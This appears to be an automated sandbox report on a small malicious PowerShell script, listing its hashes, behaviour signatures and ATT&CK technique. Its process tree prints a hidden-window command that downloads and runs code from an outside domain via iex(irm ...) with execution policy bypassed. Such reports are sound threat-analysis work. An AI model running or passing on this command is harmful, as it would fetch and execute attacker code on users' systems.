48907872fb6f0876e068682b45fdf0fe006db2aef763233a9b9f6304bf2c6c68

Analysis

max time kernel
149s
max time network
138s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260618-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260618-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
28/06/2026, 16:13

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file01.ps1
Size 133B
Sample260628-tpcthaat8j
SHA256 48907872fb6f0876e068682b45fdf0fe006db2aef763233a9b9f6304bf2c6c68
MD5 3feca4fedc19afaeffa510af79a6b6d2
SHA1 777f23cb3d7d86698f75a34cfb380c9cbfef7c3e
SHA512 4c877a3fb623686833dcb91b6d8de4a7fd536b67e43c843701bcca1a4346b8b888c9a539fa67744e3bca509acce6828b46a5d272fb9689540ea93442f6c1af9a
TLSH
T136C08CC2440702B43A798057C010B1C64F22112C0C7261AFBBA3418B4A90930CBA5012
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	5892	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1640	PowerShell.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
1640	PowerShell.exe
1640	PowerShell.exe
5892	powershell.exe
5892	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	1640	PowerShell.exe
Token: SeDebugPrivilege	5892	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 1640 wrote to memory of 5892	1640	PowerShell.exe	90

C:\Windows\system32\WindowsPowerShell\v1.0\PowerShell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1640
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w h -c "iex(irm 'verificationscodes.beer/df5045a2b19d6836' -UseBasicParsing)"
  2⤵
  - Badlisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:5892

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 64B
SHA256 a41a06404c28b97b771bf074a67d6df47adb01d133a38d7b80b2cd73ee1e8423
MD5 e760d8602d63fe876f0e830ef1a69316
SHA1 b1cfd0ecda02ad7b63489546f3430f44cc97df87
SHA512 572f6eff67d0711028d2d763004b1fe56082c2de304563a516883b8005fe3bab8e4ff2794433e8d7f07df42c2aae106cc267ba2adc95384a8624eed743d5a3cb
MD5 SHA1 SHA512

Submit Download

memory/1640-0-0x00007FFA8862F000-0x00007FFA88630000-memory.dmp

Download

memory/1640-3-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-4-0x0000026FAF0A0000-0x0000026FAF0C2000-memory.dmp

Download

memory/1640-5-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-6-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-7-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-10-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-11-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-12-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download

memory/1640-16-0x00007FFA884A0000-0x00007FFA88E44000-memory.dmp

Download